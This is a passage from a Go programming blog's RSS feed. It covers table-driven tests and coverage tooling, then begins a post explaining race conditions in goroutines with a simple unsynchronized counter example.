480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;On the other hand, if the tests fail, the word FAIL will be printed on the screen:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;---&lt;/span&gt; FAIL: &lt;span style=&#34;color:#57c7ff&#34;&gt;TestDivision&lt;/span&gt; (&lt;span style=&#34;color:#ff9f43&#34;&gt;0.00&lt;/span&gt;s)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    main_test.&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;14&lt;/span&gt;: División incorrecta, obtuvimos &lt;span style=&#34;color:#ff9f43&#34;&gt;12&lt;/span&gt; pero se esperaba &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FAIL&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exit status &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FAIL main&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;testing &lt;span style=&#34;color:#ff9f43&#34;&gt;0.001&lt;/span&gt;s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;case-management-with-tables&#34;&gt;Case management with tables&lt;/h2&gt;&#xA;&lt;p&gt;In the above example we used one function to test one case, however, if we needed to test multiple cases, we would need a function for each test, quite tedious, right?&lt;/p&gt;&#xA;&lt;p&gt;To avoid filling up with functions, developers use an array composed of structs, where each struct represents a case to be tested. You can think of the array of structs as a table, where each row is a case and each column is a data type to be tested.&lt;/p&gt;&#xA;&lt;p&gt;In this case, each struct in our array consists of three integers; the first two represent the arguments, while the last one is the result.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tables &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;x &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;y &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;r &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;}, &lt;span style=&#34;color:#78787e&#34;&gt;// 100 / 10 = 10&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;}, &lt;span style=&#34;color:#78787e&#34;&gt;// 200 / 20 = 10&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;300&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;30&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I&amp;rsquo;m sure you&amp;rsquo;ve noticed that we&amp;rsquo;re not covering division by zero, but leave it at that for now.&lt;/p&gt;&#xA;&lt;p&gt;Now that we have our array of structs, we will iterate over each of its elements using &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-slices-and-arrays-basic-characteristics-and-most-common-uses/&#34;&gt;go&amp;rsquo;s range function&lt;/a&gt;&#xA;. This way we will cover each case.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; _, table &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;range&lt;/span&gt; tables {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;total &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;Division&lt;/span&gt;(table.x, table.y)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; total &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; table.r {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;t.&lt;span style=&#34;color:#57c7ff&#34;&gt;Errorf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;División de %d entre %d incorrecta, obtuvimos: %d, pero el resultado es: %d.&amp;#34;&lt;/span&gt;, table.x, table.y, total, table.r)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If everything went well, we will pass all the tests.&lt;/p&gt;&#xA;&lt;h2 id=&#34;coverage&#34;&gt;Coverage&lt;/h2&gt;&#xA;&lt;p&gt;Coverage is already part of the code in go, so we do not need external libraries. If you don&amp;rsquo;t know what Coverage is, think of it as the percentage of your code that is tested. If all your code goes through the tests you will have a coverage of 100%, if only half of it goes through the tests the coverage will be 50%. Previously I talked about coverage in my entry &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/unittest-python-are-python-tests-worthwhile/&#34;&gt;unittest in Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;To calculate the coverage, simply add the &lt;em&gt;-cover&lt;/em&gt; flag to the &lt;em&gt;go test&lt;/em&gt; command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go &lt;span style=&#34;color:#ff5c57&#34;&gt;test&lt;/span&gt; -cover&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PASS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;coverage: 100.0% of statements&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok _/home/eduardo/Programacion/goTesting/testing 0.002s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As our function is tiny, we obtain a result of 100%, without breaking down, from coverage&lt;/p&gt;&#xA;&lt;h3 id=&#34;export-coverage-results&#34;&gt;Export coverage results&lt;/h3&gt;&#xA;&lt;p&gt;We can send all the raw data from our coverage test to an external file with the &lt;em&gt;-coverprofile&lt;/em&gt; flag.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go &lt;span style=&#34;color:#ff5c57&#34;&gt;test&lt;/span&gt; -coverprofile&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;coverage.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mode: &lt;span style=&#34;color:#ff5c57&#34;&gt;set&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/home/eduardo/Programacion/goTesting/testing/main.go:3.33,5.2 &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This file, named &lt;em&gt;coverage.out&lt;/em&gt;, which was generated, is a file containing raw data and &lt;strong&gt;will be needed to visualize the results&lt;/strong&gt; in a more detailed way.&lt;/p&gt;&#xA;&lt;h3 id=&#34;viewing-results-with-go-tool&#34;&gt;Viewing results with go tool&lt;/h3&gt;&#xA;&lt;p&gt;To summarize in a more readable way the information of the file containing our coverage test, we will use the tool command, accompanied by the &lt;em&gt;-func&lt;/em&gt; flag, followed by the file name. This will return a broken down coverage result.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go tool cover -func&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;coverage.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/home/eduardo/Programacion/goTesting/testing/main.go:3: Division 100.0%&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total:                                                  &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;statements&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;    100.0%&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Go also allows us to visualize the coverage in HTML format, with colors, directly in our browser. For this we use the -html option, followed by the file with the coverage data.&lt;/p&gt;&#xA;&lt;p&gt;When the command is executed, a browser tab will open and show the tested results in green and the untested results in red.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;go tool cover -html&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;coverage.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-basic-testing-and-coverage/images/Captura-de-pantalla-de-2022-02-09-12-35-57.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-basic-testing-and-coverage/images/Captura-de-pantalla-de-2022-02-09-12-35-57.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Coverage en go&#34; width=&#34;822&#34; height=&#34;238&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Full html coverage in go&lt;/p&gt;&#xA;&lt;p&gt;If we decide to modify our function to handle the division by zero cases, and run the coverage tests again, we will get a different scheme than before. Now a section of code not covered by the tests appears in red and our coverage dropped to 50%.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-basic-testing-and-coverage/images/coverage-en-go.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-basic-testing-and-coverage/images/coverage-en-go.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Screenshot of coverage en go&#34; width=&#34;1260&#34; height=&#34;417&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Incomplete html coverage in go&lt;/p&gt;&#xA;&lt;p&gt;This is the end of this super short entry about go testing. For the next entry I will talk a little bit about profiling and I will finish the basic go entries to write again about Python.&lt;/p&gt;&#xA;&lt;h2 id=&#34;other-resources-on-testing&#34;&gt;Other resources on testing&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://blog.friendsofgo.tech/posts/empezando-con-los-tests-automatizados-en-go/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Started with Friends of go automated tests&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pkg.go.dev/testing&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Official Go documentation&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/stretchr/testify#assert-package&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Testify, to emulate Javascript testing syntax&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Go already has a testing module in its standard library that is ready for our use, we just need to import it and use it.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;testing-preparation-in-go&#34;&gt;Testing preparation in go&lt;/h2&gt;&#xA;&lt;p&gt;For the tests to be carried out we need:&lt;/p&gt;&#xA;&lt;p&gt;A file ending in _&lt;em&gt;test.go&lt;/em&gt; * A file ending in _&lt;em&gt;test.go&lt;/em&gt; * Run the command &lt;em&gt;go test&lt;/em&gt;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: race conditions on goroutines and mutexes</title>
      <link>https://coffeebytes.dev/en/go/go-race-conditions-on-goroutines-and-mutexes/</link>
      <pubDate>Wed, 02 Feb 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/go-race-conditions-on-goroutines-and-mutexes/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In past posts I talked a bit about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-channels-understanding-the-goroutines-deadlocks/&#34;&gt;goroutines, deadlocks and channels&lt;/a&gt;&#xA;. But there is another quite interesting issue about goroutines that stands out when we use asynchrony and there are many functions accessing data at the same time and. Multiple functions reading and writing the same information can lead to chaotic situations where very strange things can happen.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;what-is-a-race-condition&#34;&gt;What is a race condition?&lt;/h2&gt;&#xA;&lt;p&gt;If you already know what a race condition is, you can skip to the next section. If you do not, keep reading.&lt;/p&gt;&#xA;&lt;p&gt;A race condition occurs when two threads have access to a shared variable at the same time. Let me give you a more detailed example.&lt;/p&gt;&#xA;&lt;p&gt;Imagine it&amp;rsquo;s a special day on your dubious content website and you&amp;rsquo;re going to give away 20 tokens to your users for every new user they refer. Then you decide to use goroutines to implement the functionality. Everything goes smoothly, until one of your customers contacts you about an alleged bug.&lt;/p&gt;&#xA;&lt;p&gt;DarkLord69 claims to have referred two people, however he complains that his tokens have not increased by 40, but by 20.&lt;/p&gt;&#xA;&lt;p&gt;You probably think you&amp;rsquo;ve already messed up in the code, but everything looks good, so what could have gone wrong? After reviewing your code you realize that the problem is in the goroutines.&lt;/p&gt;&#xA;&lt;p&gt;It happens that a goroutine read the amount of DarkLord69&amp;rsquo;s credits: 120, and, almost at the same time, another goroutine read those same credits.&lt;/p&gt;&#xA;&lt;p&gt;The first goroutine said, &amp;ldquo;I have 120 credits, if I add 20, the total of new credits is 140&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;While the second goroutine, almost at the same time as the first one, said: &amp;ldquo;I read that there were 120 credits, if I add 20, the total of new credits will be 140&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Both goroutines are setting the total credits at 140, because they read, almost at the same time, that there were 120.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-race-conditions-on-goroutines-and-mutexes/images/race-conditions-go.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-race-conditions-on-goroutines-and-mutexes/images/race-conditions-go.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Example of a race condition in go&#34; width=&#34;1080&#34; height=&#34;1080&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Example of a race condition in go.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;As you may already know, DarkLord69 will not be joyful, but if you give him some extra tokens as compensation there should be no problem. But what if instead of tokens it had been money, or perhaps some other more precious commodity?&lt;/p&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s go to an example made in code.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t understand what the waitgroup does, I wrote a post where I explain &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-use-of-channels-to-communicate-goroutines/&#34;&gt;goroutines, channels and waitgroups&lt;/a&gt;&#xA; that you can refer to. For now, just keep in mind that they wait for all goroutines to finish before proceeding with the code execution.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sync&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; tokens &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;120&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; wg sync.WaitGroup&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;; i &amp;lt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Add&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;tokens_leidos &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; tokens&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;tokens_leidos &lt;span style=&#34;color:#ff6ac1&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;tokens = tokens_leidos&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;&#x9;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Done&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;}()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Wait&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(tokens)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The important part is that, within a goroutine, we read the variable content tokens, then increment it by 20 and then assign that result to tokens again. But no problem, if we run the code we will get the correct result: 320 (120 tokens + One increment of 20 tokens for each of the 10 goroutines).&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored 